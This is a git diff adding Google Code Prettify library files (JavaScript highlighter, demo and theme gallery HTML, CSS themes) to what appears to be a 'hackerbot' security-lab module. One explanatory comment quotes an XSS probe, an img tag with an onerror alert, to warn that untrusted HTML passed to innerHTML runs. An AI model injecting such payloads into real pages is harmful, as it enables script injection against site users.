+              var parentClone = breakLeftOf(parent, 1);
+              // Move the clone and everything to the right of the original
+              // onto the cloned parent.
+              var next = limit.nextSibling;
+              parentClone.appendChild(rightSide);
+              for (var sibling = next; sibling; sibling = next) {
+                next = sibling.nextSibling;
+                parentClone.appendChild(sibling);
+              }
+            }
+            return rightSide;
+          }
+      
+          var copiedListItem = breakLeftOf(lineEndNode.nextSibling, 0);
+      
+          // Walk the parent chain until we reach an unattached LI.
+          for (var parent;
+               // Check nodeType since IE invents document fragments.
+               (parent = copiedListItem.parentNode) && parent.nodeType === 1;) {
+            copiedListItem = parent;
+          }
+          // Put it on the list of lines for later processing.
+          listItems.push(copiedListItem);
+        }
+      
+        // Split lines while there are lines left to split.
+        for (var i = 0;  // Number of lines that have been split so far.
+             i < listItems.length;  // length updated by breakAfter calls.
+             ++i) {
+          walk(listItems[i]);
+        }
+      
+        // Make sure numeric indices show correctly.
+        if (startLineNum === (startLineNum|0)) {
+          listItems[0].setAttribute('value', startLineNum);
+        }
+      
+        var ol = document.createElement('ol');
+        ol.className = 'linenums';
+        var offset = Math.max(0, ((startLineNum - 1 /* zero index */)) | 0) || 0;
+        for (var i = 0, n = listItems.length; i < n; ++i) {
+          li = listItems[i];
+          // Stick a class on the LIs so that stylesheets can
+          // color odd/even rows, or any other row pattern that
+          // is co-prime with 10.
+          li.className = 'L' + ((i + offset) % 10);
+          if (!li.firstChild) {
+            li.appendChild(document.createTextNode('\xA0'));
+          }
+          ol.appendChild(li);
+        }
+      
+        node.appendChild(ol);
+      }
+    
+      /**
+       * Breaks {@code job.sourceCode} around style boundaries in
+       * {@code job.decorations} and modifies {@code job.sourceNode} in place.
+       * @param {JobT} job
+       * @private
+       */
+      function recombineTagsAndDecorations(job) {
+        var isIE8OrEarlier = /\bMSIE\s(\d+)/.exec(navigator.userAgent);
+        isIE8OrEarlier = isIE8OrEarlier && +isIE8OrEarlier[1] <= 8;
+        var newlineRe = /\n/g;
+      
+        var source = job.sourceCode;
+        var sourceLength = source.length;
+        // Index into source after the last code-unit recombined.
+        var sourceIndex = 0;
+      
+        var spans = job.spans;
+        var nSpans = spans.length;
+        // Index into spans after the last span which ends at or before sourceIndex.
+        var spanIndex = 0;
+      
+        var decorations = job.decorations;
+        var nDecorations = decorations.length;
+        // Index into decorations after the last decoration which ends at or before
+        // sourceIndex.
+        var decorationIndex = 0;
+      
+        // Remove all zero-length decorations.
+        decorations[nDecorations] = sourceLength;
+        var decPos, i;
+        for (i = decPos = 0; i < nDecorations;) {
+          if (decorations[i] !== decorations[i + 2]) {
+            decorations[decPos++] = decorations[i++];
+            decorations[decPos++] = decorations[i++];
+          } else {
+            i += 2;
+          }
+        }
+        nDecorations = decPos;
+      
+        // Simplify decorations.
+        for (i = decPos = 0; i < nDecorations;) {
+          var startPos = decorations[i];
+          // Conflate all adjacent decorations that use the same style.
+          var startDec = decorations[i + 1];
+          var end = i + 2;
+          while (end + 2 <= nDecorations && decorations[end + 1] === startDec) {
+            end += 2;
+          }
+          decorations[decPos++] = startPos;
+          decorations[decPos++] = startDec;
+          i = end;
+        }
+      
+        nDecorations = decorations.length = decPos;
+      
+        var sourceNode = job.sourceNode;
+        var oldDisplay = "";
+        if (sourceNode) {
+          oldDisplay = sourceNode.style.display;
+          sourceNode.style.display = 'none';
+        }
+        try {
+          var decoration = null;
+          while (spanIndex < nSpans) {
+            var spanStart = spans[spanIndex];
+            var spanEnd = /** @type{number} */ (spans[spanIndex + 2])
+                || sourceLength;
+      
+            var decEnd = decorations[decorationIndex + 2] || sourceLength;
+      
+            var end = Math.min(spanEnd, decEnd);
+      
+            var textNode = /** @type{Node} */ (spans[spanIndex + 1]);
+            var styledText;
+            if (textNode.nodeType !== 1  // Don't muck with <BR>s or <LI>s
+                // Don't introduce spans around empty text nodes.
+                && (styledText = source.substring(sourceIndex, end))) {
+              // This may seem bizarre, and it is.  Emitting LF on IE causes the
+              // code to display with spaces instead of line breaks.
+              // Emitting Windows standard issue linebreaks (CRLF) causes a blank
+              // space to appear at the beginning of every line but the first.
+              // Emitting an old Mac OS 9 line separator makes everything spiffy.
+              if (isIE8OrEarlier) {
+                styledText = styledText.replace(newlineRe, '\r');
+              }
+              textNode.nodeValue = styledText;
+              var document = textNode.ownerDocument;
+              var span = document.createElement('span');
+              span.className = decorations[decorationIndex + 1];
+              var parentNode = textNode.parentNode;
+              parentNode.replaceChild(span, textNode);
+              span.appendChild(textNode);
+              if (sourceIndex < spanEnd) {  // Split off a text node.
+                spans[spanIndex + 1] = textNode
+                    // TODO: Possibly optimize by using '' if there's no flicker.
+                    = document.createTextNode(source.substring(end, spanEnd));
+                parentNode.insertBefore(textNode, span.nextSibling);
+              }
+            }
+      
+            sourceIndex = end;
+      
+            if (sourceIndex >= spanEnd) {
+              spanIndex += 2;
+            }
+            if (sourceIndex >= decEnd) {
+              decorationIndex += 2;
+            }
+          }
+        } finally {
+          if (sourceNode) {
+            sourceNode.style.display = oldDisplay;
+          }
+        }
+      }
+    
+      /** Maps language-specific file extensions to handlers. */
+      var langHandlerRegistry = {};
+      /** Register a language handler for the given file extensions.
+        * @param {function (JobT)} handler a function from source code to a list
+        *      of decorations.  Takes a single argument job which describes the
+        *      state of the computation and attaches the decorations to it.
+        * @param {Array.<string>} fileExtensions
+        */
+      function registerLangHandler(handler, fileExtensions) {
+        for (var i = fileExtensions.length; --i >= 0;) {
+          var ext = fileExtensions[i];
+          if (!langHandlerRegistry.hasOwnProperty(ext)) {
+            langHandlerRegistry[ext] = handler;
+          } else if (win['console']) {
+            console['warn']('cannot override language handler %s', ext);
+          }
+        }
+      }
+      function langHandlerForExtension(extension, source) {
+        if (!(extension && langHandlerRegistry.hasOwnProperty(extension))) {
+          // Treat it as markup if the first non whitespace character is a < and
+          // the last non-whitespace character is a >.
+          extension = /^\s*</.test(source)
+              ? 'default-markup'
+              : 'default-code';
+        }
+        return langHandlerRegistry[extension];
+      }
+      registerLangHandler(decorateSource, ['default-code']);
+      registerLangHandler(
+          createSimpleLexer(
+              [],
+              [
+               [PR_PLAIN,       /^[^<?]+/],
+               [PR_DECLARATION, /^<!\w[^>]*(?:>|$)/],
+               [PR_COMMENT,     /^<\!--[\s\S]*?(?:-\->|$)/],
+               // Unescaped content in an unknown language
+               ['lang-',        /^<\?([\s\S]+?)(?:\?>|$)/],
+               ['lang-',        /^<%([\s\S]+?)(?:%>|$)/],
+               [PR_PUNCTUATION, /^(?:<[%?]|[%?]>)/],
+               ['lang-',        /^<xmp\b[^>]*>([\s\S]+?)<\/xmp\b[^>]*>/i],
+               // Unescaped content in javascript.  (Or possibly vbscript).
+               ['lang-js',      /^<script\b[^>]*>([\s\S]*?)(<\/script\b[^>]*>)/i],
+               // Contains unescaped stylesheet content
+               ['lang-css',     /^<style\b[^>]*>([\s\S]*?)(<\/style\b[^>]*>)/i],
+               ['lang-in.tag',  /^(<\/?[a-z][^<>]*>)/i]
+              ]),
+          ['default-markup', 'htm', 'html', 'mxml', 'xhtml', 'xml', 'xsl']);
+      registerLangHandler(
+          createSimpleLexer(
+              [
+               [PR_PLAIN,        /^[\s]+/, null, ' \t\r\n'],
+               [PR_ATTRIB_VALUE, /^(?:\"[^\"]*\"?|\'[^\']*\'?)/, null, '\"\'']
+               ],
+              [
+               [PR_TAG,          /^^<\/?[a-z](?:[\w.:-]*\w)?|\/?>$/i],
+               [PR_ATTRIB_NAME,  /^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],
+               ['lang-uq.val',   /^=\s*([^>\'\"\s]*(?:[^>\'\"\s\/]|\/(?=\s)))/],
+               [PR_PUNCTUATION,  /^[=<>\/]+/],
+               ['lang-js',       /^on\w+\s*=\s*\"([^\"]+)\"/i],
+               ['lang-js',       /^on\w+\s*=\s*\'([^\']+)\'/i],
+               ['lang-js',       /^on\w+\s*=\s*([^\"\'>\s]+)/i],
+               ['lang-css',      /^style\s*=\s*\"([^\"]+)\"/i],
+               ['lang-css',      /^style\s*=\s*\'([^\']+)\'/i],
+               ['lang-css',      /^style\s*=\s*([^\"\'>\s]+)/i]
+               ]),
+          ['in.tag']);
+      registerLangHandler(
+          createSimpleLexer([], [[PR_ATTRIB_VALUE, /^[\s\S]+/]]), ['uq.val']);
+      registerLangHandler(sourceDecorator({
+              'keywords': CPP_KEYWORDS,
+              'hashComments': true,
+              'cStyleComments': true,
+              'types': C_TYPES
+            }), ['c', 'cc', 'cpp', 'cxx', 'cyc', 'm']);
+      registerLangHandler(sourceDecorator({
+              'keywords': 'null,true,false'
+            }), ['json']);
+      registerLangHandler(sourceDecorator({
+              'keywords': CSHARP_KEYWORDS,
+              'hashComments': true,
+              'cStyleComments': true,
+              'verbatimStrings': true,
+              'types': C_TYPES
+            }), ['cs']);
+      registerLangHandler(sourceDecorator({
+              'keywords': JAVA_KEYWORDS,
+              'cStyleComments': true
+            }), ['java']);
+      registerLangHandler(sourceDecorator({
+              'keywords': SH_KEYWORDS,
+              'hashComments': true,
+              'multiLineStrings': true
+            }), ['bash', 'bsh', 'csh', 'sh']);
+      registerLangHandler(sourceDecorator({
+              'keywords': PYTHON_KEYWORDS,
+              'hashComments': true,
+              'multiLineStrings': true,
+              'tripleQuotedStrings': true
+            }), ['cv', 'py', 'python']);
+      registerLangHandler(sourceDecorator({
+              'keywords': PERL_KEYWORDS,
+              'hashComments': true,
+              'multiLineStrings': true,
+              'regexLiterals': 2  // multiline regex literals
+            }), ['perl', 'pl', 'pm']);
+      registerLangHandler(sourceDecorator({
+              'keywords': RUBY_KEYWORDS,
+              'hashComments': true,
+              'multiLineStrings': true,
+              'regexLiterals': true
+            }), ['rb', 'ruby']);
+      registerLangHandler(sourceDecorator({
+              'keywords': JSCRIPT_KEYWORDS,
+              'cStyleComments': true,
+              'regexLiterals': true
+            }), ['javascript', 'js', 'ts', 'typescript']);
+      registerLangHandler(sourceDecorator({
+              'keywords': COFFEE_KEYWORDS,
+              'hashComments': 3,  // ### style block comments
+              'cStyleComments': true,
+              'multilineStrings': true,
+              'tripleQuotedStrings': true,
+              'regexLiterals': true
+            }), ['coffee']);
+      registerLangHandler(
+          createSimpleLexer([], [[PR_STRING, /^[\s\S]+/]]), ['regex']);
+    
+      /** @param {JobT} job */
+      function applyDecorator(job) {
+        var opt_langExtension = job.langExtension;
+    
+        try {
+          // Extract tags, and convert the source code to plain text.
+          var sourceAndSpans = extractSourceSpans(job.sourceNode, job.pre);
+          /** Plain text. @type {string} */
+          var source = sourceAndSpans.sourceCode;
+          job.sourceCode = source;
+          job.spans = sourceAndSpans.spans;
+          job.basePos = 0;
+    
+          // Apply the appropriate language handler
+          langHandlerForExtension(opt_langExtension, source)(job);
+    
+          // Integrate the decorations and tags back into the source code,
+          // modifying the sourceNode in place.
+          recombineTagsAndDecorations(job);
+        } catch (e) {
+          if (win['console']) {
+            console['log'](e && e['stack'] || e);
+          }
+        }
+      }
+    
+      /**
+       * Pretty print a chunk of code.
+       * @param sourceCodeHtml {string} The HTML to pretty print.
+       * @param opt_langExtension {string} The language name to use.
+       *     Typically, a filename extension like 'cpp' or 'java'.
+       * @param opt_numberLines {number|boolean} True to number lines,
+       *     or the 1-indexed number of the first line in sourceCodeHtml.
+       */
+      function $prettyPrintOne(sourceCodeHtml, opt_langExtension, opt_numberLines) {
+        /** @type{number|boolean} */
+        var nl = opt_numberLines || false;
+        /** @type{string|null} */
+        var langExtension = opt_langExtension || null;
+        /** @type{!Element} */
+        var container = document.createElement('div');
+        // This could cause images to load and onload listeners to fire.
+        // E.g. <img onerror="alert(1337)" src="nosuchimage.png">.
+        // We assume that the inner HTML is from a trusted source.
+        // The pre-tag is required for IE8 which strips newlines from innerHTML
+        // when it is injected into a <pre> tag.
+        // http://stackoverflow.com/questions/451486/pre-tag-loses-line-breaks-when-setting-innerhtml-in-ie
+        // http://stackoverflow.com/questions/195363/inserting-a-newline-into-a-pre-tag-ie-javascript
+        container.innerHTML = '<pre>' + sourceCodeHtml + '</pre>';
+        container = /** @type{!Element} */(container.firstChild);
+        if (nl) {
+          numberLines(container, nl, true);
+        }
+    
+        /** @type{JobT} */
+        var job = {
+          langExtension: langExtension,
+          numberLines: nl,
+          sourceNode: container,
+          pre: 1,
+          sourceCode: null,
+          basePos: null,
+          spans: null,
+          decorations: null
+        };
+        applyDecorator(job);
+        return container.innerHTML;
+      }
+    
+       /**
+        * Find all the {@code <pre>} and {@code <code>} tags in the DOM with
+        * {@code class=prettyprint} and prettify them.
+        *
+        * @param {Function} opt_whenDone called when prettifying is done.
+        * @param {HTMLElement|HTMLDocument} opt_root an element or document
+        *   containing all the elements to pretty print.
+        *   Defaults to {@code document.body}.
+        */
+      function $prettyPrint(opt_whenDone, opt_root) {
+        var root = opt_root || document.body;
+        var doc = root.ownerDocument || document;
+        function byTagName(tn) { return root.getElementsByTagName(tn); }
+        // fetch a list of nodes to rewrite
+        var codeSegments = [byTagName('pre'), byTagName('code'), byTagName('xmp')];
+        var elements = [];
+        for (var i = 0; i < codeSegments.length; ++i) {
+          for (var j = 0, n = codeSegments[i].length; j < n; ++j) {
+            elements.push(codeSegments[i][j]);
+          }
+        }
+        codeSegments = null;
+    
+        var clock = Date;
+        if (!clock['now']) {
+          clock = { 'now': function () { return +(new Date); } };
+        }
+    
+        // The loop is broken into a series of continuations to make sure that we
+        // don't make the browser unresponsive when rewriting a large page.
+        var k = 0;
+    
+        var langExtensionRe = /\blang(?:uage)?-([\w.]+)(?!\S)/;
+        var prettyPrintRe = /\bprettyprint\b/;
+        var prettyPrintedRe = /\bprettyprinted\b/;
+        var preformattedTagNameRe = /pre|xmp/i;
+        var codeRe = /^code$/i;
+        var preCodeXmpRe = /^(?:pre|code|xmp)$/i;
+        var EMPTY = {};
+    
+        function doWork() {
+          var endTime = (win['PR_SHOULD_USE_CONTINUATION'] ?
+                         clock['now']() + 250 /* ms */ :
+                         Infinity);
+          for (; k < elements.length && clock['now']() < endTime; k++) {
+            var cs = elements[k];
+    
+            // Look for a preceding comment like
+            // <?prettify lang="..." linenums="..."?>
+            var attrs = EMPTY;
+            {
+              for (var preceder = cs; (preceder = preceder.previousSibling);) {
+                var nt = preceder.nodeType;
+                // <?foo?> is parsed by HTML 5 to a comment node (8)
+                // like <!--?foo?-->, but in XML is a processing instruction
+                var value = (nt === 7 || nt === 8) && preceder.nodeValue;
+                if (value
+                    ? !/^\??prettify\b/.test(value)
+                    : (nt !== 3 || /\S/.test(preceder.nodeValue))) {
+                  // Skip over white-space text nodes but not others.
+                  break;
+                }
+                if (value) {
+                  attrs = {};
+                  value.replace(
+                      /\b(\w+)=([\w:.%+-]+)/g,
+                    function (_, name, value) { attrs[name] = value; });
+                  break;
+                }
+              }
+            }
+    
+            var className = cs.className;
+            if ((attrs !== EMPTY || prettyPrintRe.test(className))
+                // Don't redo this if we've already done it.
+                // This allows recalling pretty print to just prettyprint elements
+                // that have been added to the page since last call.
+                && !prettyPrintedRe.test(className)) {
+    
+              // make sure this is not nested in an already prettified element
+              var nested = false;
+              for (var p = cs.parentNode; p; p = p.parentNode) {
+                var tn = p.tagName;
+                if (preCodeXmpRe.test(tn)
+                    && p.className && prettyPrintRe.test(p.className)) {
+                  nested = true;
+                  break;
+                }
+              }
+              if (!nested) {
+                // Mark done.  If we fail to prettyprint for whatever reason,
+                // we shouldn't try again.
+                cs.className += ' prettyprinted';
+    
+                // If the classes includes a language extensions, use it.
+                // Language extensions can be specified like
+                //     <pre class="prettyprint lang-cpp">
+                // the language extension "cpp" is used to find a language handler
+                // as passed to PR.registerLangHandler.
+                // HTML5 recommends that a language be specified using "language-"
+                // as the prefix instead.  Google Code Prettify supports both.
+                // http://dev.w3.org/html5/spec-author-view/the-code-element.html
+                var langExtension = attrs['lang'];
+                if (!langExtension) {
+                  langExtension = className.match(langExtensionRe);
+                  // Support <pre class="prettyprint"><code class="language-c">
+                  var wrapper;
+                  if (!langExtension && (wrapper = childContentWrapper(cs))
+                      && codeRe.test(wrapper.tagName)) {
+                    langExtension = wrapper.className.match(langExtensionRe);
+                  }
+    
+                  if (langExtension) { langExtension = langExtension[1]; }
+                }
+    
+                var preformatted;
+                if (preformattedTagNameRe.test(cs.tagName)) {
+                  preformatted = 1;
+                } else {
+                  var currentStyle = cs['currentStyle'];
+                  var defaultView = doc.defaultView;
+                  var whitespace = (
+                      currentStyle
+                      ? currentStyle['whiteSpace']
+                      : (defaultView
+                         && defaultView.getComputedStyle)
+                      ? defaultView.getComputedStyle(cs, null)
+                      .getPropertyValue('white-space')
+                      : 0);
+                  preformatted = whitespace
+                      && 'pre' === whitespace.substring(0, 3);
+                }
+    
+                // Look for a class like linenums or linenums:<n> where <n> is the
+                // 1-indexed number of the first line.
+                var lineNums = attrs['linenums'];
+                if (!(lineNums = lineNums === 'true' || +lineNums)) {
+                  lineNums = className.match(/\blinenums\b(?::(\d+))?/);
+                  lineNums =
+                    lineNums
+                    ? lineNums[1] && lineNums[1].length
+                      ? +lineNums[1] : true
+                    : false;
+                }
+                if (lineNums) { numberLines(cs, lineNums, preformatted); }
+    
+                // do the pretty printing
+                var prettyPrintingJob = {
+                  langExtension: langExtension,
+                  sourceNode: cs,
+                  numberLines: lineNums,
+                  pre: preformatted,
+                  sourceCode: null,
+                  basePos: null,
+                  spans: null,
+                  decorations: null
+                };
+                applyDecorator(prettyPrintingJob);
+              }
+            }
+          }
+          if (k < elements.length) {
+            // finish up in a continuation
+            win.setTimeout(doWork, 250);
+          } else if ('function' === typeof opt_whenDone) {
+            opt_whenDone();
+          }
+        }
+    
+        doWork();
+      }
+    
+      /**
+       * Contains functions for creating and registering new language handlers.
+       * @type {Object}
+       */
+      var PR = win['PR'] = {
+            'createSimpleLexer': createSimpleLexer,
+            'registerLangHandler': registerLangHandler,
+            'sourceDecorator': sourceDecorator,
+            'PR_ATTRIB_NAME': PR_ATTRIB_NAME,
+            'PR_ATTRIB_VALUE': PR_ATTRIB_VALUE,
+            'PR_COMMENT': PR_COMMENT,
+            'PR_DECLARATION': PR_DECLARATION,
+            'PR_KEYWORD': PR_KEYWORD,
+            'PR_LITERAL': PR_LITERAL,
+            'PR_NOCODE': PR_NOCODE,
+            'PR_PLAIN': PR_PLAIN,
+            'PR_PUNCTUATION': PR_PUNCTUATION,
+            'PR_SOURCE': PR_SOURCE,
+            'PR_STRING': PR_STRING,
+            'PR_TAG': PR_TAG,
+            'PR_TYPE': PR_TYPE,
+            'prettyPrintOne':
+               IN_GLOBAL_SCOPE
+                 ? (win['prettyPrintOne'] = $prettyPrintOne)
+                 : (prettyPrintOne = $prettyPrintOne),
+            'prettyPrint': prettyPrint =
+               IN_GLOBAL_SCOPE
+                 ? (win['prettyPrint'] = $prettyPrint)
+                 : (prettyPrint = $prettyPrint)
+          };
+    
+      // Make PR available via the Asynchronous Module Definition (AMD) API.
+      // Per https://github.com/amdjs/amdjs-api/wiki/AMD:
+      // The Asynchronous Module Definition (AMD) API specifies a
+      // mechanism for defining modules such that the module and its
+      // dependencies can be asynchronously loaded.
+      // ...
+      // To allow a clear indicator that a global define function (as
+      // needed for script src browser loading) conforms to the AMD API,
+      // any global define function SHOULD have a property called "amd"
+      // whose value is an object. This helps avoid conflict with any
+      // other existing JavaScript code that could have defined a define()
+      // function that does not conform to the AMD API.
+      var define = win['define'];
+      if (typeof define === "function" && define['amd']) {
+        define("google-code-prettify", [], function () {
+          return PR;
+        });
+      }
+    })();
+    return prettyPrint;
+  })();
+
+  // If this script is deferred or async and the document is already
+  // loaded we need to wait for language handlers to load before performing
+  // any autorun.
+  function onLangsLoaded() {
+    if (autorun) {
+      contentLoaded(
+        function () {
+          var n = callbacks.length;
+          var callback = n ? function () {
+            for (var i = 0; i < n; ++i) {
+              (function (i) {
+                win.setTimeout(
+                   function () {
+                     win['exports'][callbacks[i]].apply(win, arguments);
+                   }, 0);
+               })(i);
+            }
+          } : void 0;
+          prettyPrint(callback);
+        });
+    }
+  }
+  checkPendingLanguages();
+
+}());
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/demo.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/demo.html
new file mode 100644
index 000000000..7d97bb19e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/demo.html
@@ -0,0 +1,111 @@
+<!DOCTYPE html>
+<html>
+<head>
+<title>Demo</title>
+<script src="../src/prettify.js"></script>
+<script src="../src/lang-css.js"></script>
+<style type="text/css">
+body { margin: 0; padding: 0; }
+pre { margin: 0; }
+#container { width: 40em; display: inline-block; }
+</style>
+<script type="text/javascript">
+/**
+ * Call out to the parent so that it can resize the iframe once this
+ * document's body is loaded.
+ * @param {string} theme
+ */
+function adjustHeightInParent(theme) {
+  if (parent !== window) {
+    try {
+      var div = document.getElementById('container');
+      parent.adjustChildIframeSize(theme, div.offsetWidth, div.offsetHeight);
+    } catch (ex) {
+      // Can happen when this page is opened in its own tab.
+    }
+  } else {
+    // redirect to main page if this page is loaded directly
+    window.location = "./index.html";
+  }
+}
+
+/**
+ * Theme name is specified by iframe in which the page is loaded
+ * @return {string}
+ */
+function getThemeName() {
+  // theme is named in the query part of the URL
+  //var theme = decodeURIComponent(document.location.search.substring(1));
+
+  // theme is named in the "name" property of the embedded iframe
+  var theme = window.frameElement && window.frameElement.getAttribute("name");
+
+  return theme ? theme : 'default';
+}
+
+/**
+ * Load the necessary CSS
+ * @param {string} theme
+ */
+function loadTheme(theme) {
+  var link = document.createElement('link');
+  link.rel = 'stylesheet';
+  link.type = 'text/css';
+  link.href = theme === 'default' ? '../src/prettify.css' : theme + '.css';
+  document.getElementsByTagName('head')[0].appendChild(link);
+}
+
+/**
+ * Called on page load.
+ * This page displays some code styled using theme specified.
+ */
+function onLoadFcn() {
+  // syntax highlight
+  PR.prettyPrint();
+
+  // call to parent we're embedded into
+  var theme = getThemeName();
+  adjustHeightInParent(theme);
+}
+
+(function () {
+  // Load the stylesheet that we're demoing.
+  var themeName = getThemeName();
+  document.title = 'Theme ' + themeName;
+  loadTheme(themeName);
+})();
+</script>
+</head>
+
+<body onload="onLoadFcn();">
+
+<div id="container">
+<pre class="prettyprint lang-html linenums">
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;HTML Test&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+// Say hello world until the user starts questioning
+// the meaningfulness of their existence.
+function helloWorld(world) {
+  for (var i = 42; --i &gt;= 0;) {
+    alert('Hello ' + String(world));
+  }
+}
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+p { color: pink }
+b { color: blue }
+u { color: "umber" }
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;h1&gt;Hello world!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+</body>
+</html>
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/desert.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/desert.css
new file mode 100644
index 000000000..3723668d7
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/desert.css
@@ -0,0 +1,34 @@
+/* desert scheme ported from vim to google prettify */
+pre.prettyprint { display: block; background-color: #333 }
+pre .nocode { background-color: none; color: #000 }
+pre .str { color: #ffa0a0 } /* string  - pink */
+pre .kwd { color: #f0e68c; font-weight: bold }
+pre .com { color: #87ceeb } /* comment - skyblue */
+pre .typ { color: #98fb98 } /* type    - lightgreen */
+pre .lit { color: #cd5c5c } /* literal - darkred */
+pre .pun { color: #fff }    /* punctuation */
+pre .pln { color: #fff }    /* plaintext */
+pre .tag { color: #f0e68c; font-weight: bold } /* html/xml tag    - lightyellow */
+pre .atn { color: #bdb76b; font-weight: bold } /* attribute name  - khaki */
+pre .atv { color: #ffa0a0 } /* attribute value - pink */
+pre .dec { color: #98fb98 } /* decimal         - lightgreen */
+
+/* Specify class=linenums on a pre to get line numbering */
+ol.linenums { margin-top: 0; margin-bottom: 0; color: #AEAEAE } /* IE indents via margin-left */
+li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8 { list-style-type: none }
+/* Alternate shading for lines */
+li.L1,li.L3,li.L5,li.L7,li.L9 { }
+
+@media print {
+  pre.prettyprint { background-color: none }
+  pre .str, code .str { color: #060 }
+  pre .kwd, code .kwd { color: #006; font-weight: bold }
+  pre .com, code .com { color: #600; font-style: italic }
+  pre .typ, code .typ { color: #404; font-weight: bold }
+  pre .lit, code .lit { color: #044 }
+  pre .pun, code .pun { color: #440 }
+  pre .pln, code .pln { color: #000 }
+  pre .tag, code .tag { color: #006; font-weight: bold }
+  pre .atn, code .atn { color: #404 }
+  pre .atv, code .atv { color: #060 }
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/doxy.css b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/doxy.css
new file mode 100644
index 000000000..b0e89161f
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/doxy.css
@@ -0,0 +1,64 @@
+/* Doxy pretty-printing styles. Used with prettify.js.  */
+
+pre .str, code .str { color: #fec243; } /* string  - eggyolk gold */
+pre .kwd, code .kwd { color: #8470FF; } /* keyword - light slate blue */
+pre .com, code .com { color: #32cd32; font-style: italic; } /* comment - green */
+pre .typ, code .typ { color: #6ecbcc; } /* type - turq green */
+pre .lit, code .lit { color: #d06; } /* literal - cherry red */
+pre .pun, code .pun { color: #8B8970;  } /* punctuation - lemon chiffon4  */
+pre .pln, code .pln { color: #f0f0f0; } /* plaintext - white */
+pre .tag, code .tag { color: #9c9cff; } /* html/xml tag  (bluey)  */
+pre .htm, code .htm { color: #dda0dd; } /* html tag  light purply*/
+pre .xsl, code .xsl { color: #d0a0d0; } /* xslt tag  light purply*/
+pre .atn, code .atn { color: #46eeee; font-weight: normal;} /* html/xml attribute name  - lt turquoise */
+pre .atv, code .atv { color: #EEB4B4; } /* html/xml attribute value - rosy brown2 */
+pre .dec, code .dec { color: #3387CC; } /* decimal - blue */
+
+a {
+  text-decoration: none;
+}
+pre.prettyprint, code.prettyprint {
+  font-family:'Droid Sans Mono','CPMono_v07 Bold','Droid Sans';
+  font-weight: bold;
+  font-size: 9pt;
+  background-color: #0f0f0f;
+  -moz-border-radius: 8px;
+  -webkit-border-radius: 8px;
+  -o-border-radius: 8px;
+  -ms-border-radius: 8px;
+  -khtml-border-radius: 8px;
+  border-radius: 8px;
+}  /*  background is black (well, just a tad less dark )  */
+
+pre.prettyprint {
+  width: 95%;
+  margin: 1em auto;
+  padding: 1em;
+  white-space: pre-wrap;
+}
+
+pre.prettyprint a, code.prettyprint a {
+   text-decoration:none;
+}
+/* Specify class=linenums on a pre to get line numbering; line numbers themselves are the same color as punctuation */
+ol.linenums { margin-top: 0; margin-bottom: 0; color: #8B8970; } /* IE indents via margin-left */
+li.L0,li.L1,li.L2,li.L3,li.L5,li.L6,li.L7,li.L8 { list-style-type: none }
+/* Alternate shading for lines */
+li.L1,li.L3,li.L5,li.L7,li.L9 { }
+
+/* print is mostly unchanged from default at present  */
+@media print {
+  pre.prettyprint, code.prettyprint { background-color: #fff;  }
+  pre .str, code .str { color: #088; }
+  pre .kwd, code .kwd { color: #006; font-weight: bold; }
+  pre .com, code .com { color: #oc3; font-style: italic; }
+  pre .typ, code .typ { color: #404; font-weight: bold; }
+  pre .lit, code .lit { color: #044; }
+  pre .pun, code .pun { color: #440; }
+  pre .pln, code .pln { color: #000; }
+  pre .tag, code .tag { color: #b66ff7; font-weight: bold; }
+  pre .htm, code .htm { color: #606; font-weight: bold; }
+  pre .xsl, code .xsl { color: #606; font-weight: bold; }
+  pre .atn, code .atn { color: #c71585;  font-weight: normal; }
+  pre .atv, code .atv { color: #088;  font-weight: normal; }
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/index.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/index.html
new file mode 100644
index 000000000..ba171df75
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/styles/index.html
@@ -0,0 +1,103 @@
+<!DOCTYPE html>
+<html>
+<head>
+<title>Prettify Themes Gallery</title>
+<style type="text/css">
+iframe { width: 100%; border-style: none; margin: 0; padding: 0; }
+.attribution { padding-left: 1em; }
+</style>
+<script type="text/javascript">
+/**
+ * Called by the demo.html frames loaded per theme to size the iframes
+ * properly and to allow them to tile the page nicely.
+ */
+function adjustChildIframeSize(themeName, width, height) {
+  if (typeof console !== 'undefined' && console.log) {
+    try {
+      console.log('adjusting ' + themeName + ' to ' + width + 'x' + height);
+    } catch (ex) {
+      // Don't bother logging log failure.
+    }
+  }
+  var iframe = document.getElementById(themeName);
+  iframe.style.height = (+height + 16) + 'px';
+  var container = iframe.parentNode;
+  container.style.width = (+width + 16) + 'px';
+  container.style.display = 'inline-block';
+}
+
+/**
+ * Create an iframe to showcase theme.
+ * We pass the theme name to the iframe via its URI query, and it loads
+ * prettify and the theme CSS, and calls back to this page to resize iframe.
+ */
+function appendThemeIFrame(theme) {
+  // title
+  var link = document.createElement('a');
+  link.href = 'https://github.com/google/code-prettify/blob/master/' +
+    (theme.name === 'default' ? 'src/prettify.css' :
+    ('styles/' + encodeURIComponent(theme.name) + '.css'));
+  link.appendChild(document.createTextNode(
+    theme.name.replace(/\b[a-z]/g, function (letter) {
+      // Capitalize first letter of each word
+      return letter.toUpperCase();
+    })));
+  var header = document.createElement('h2');
+  header.className = 'title';
+  header.appendChild(link);
+
+  // attribution
+  var attribution;
+  if (theme.author) {
+    attribution = document.createElement('span');
+    attribution.className = 'attribution';
+    attribution.innerHTML = 'by <em>' + theme.author + '<\/em>';
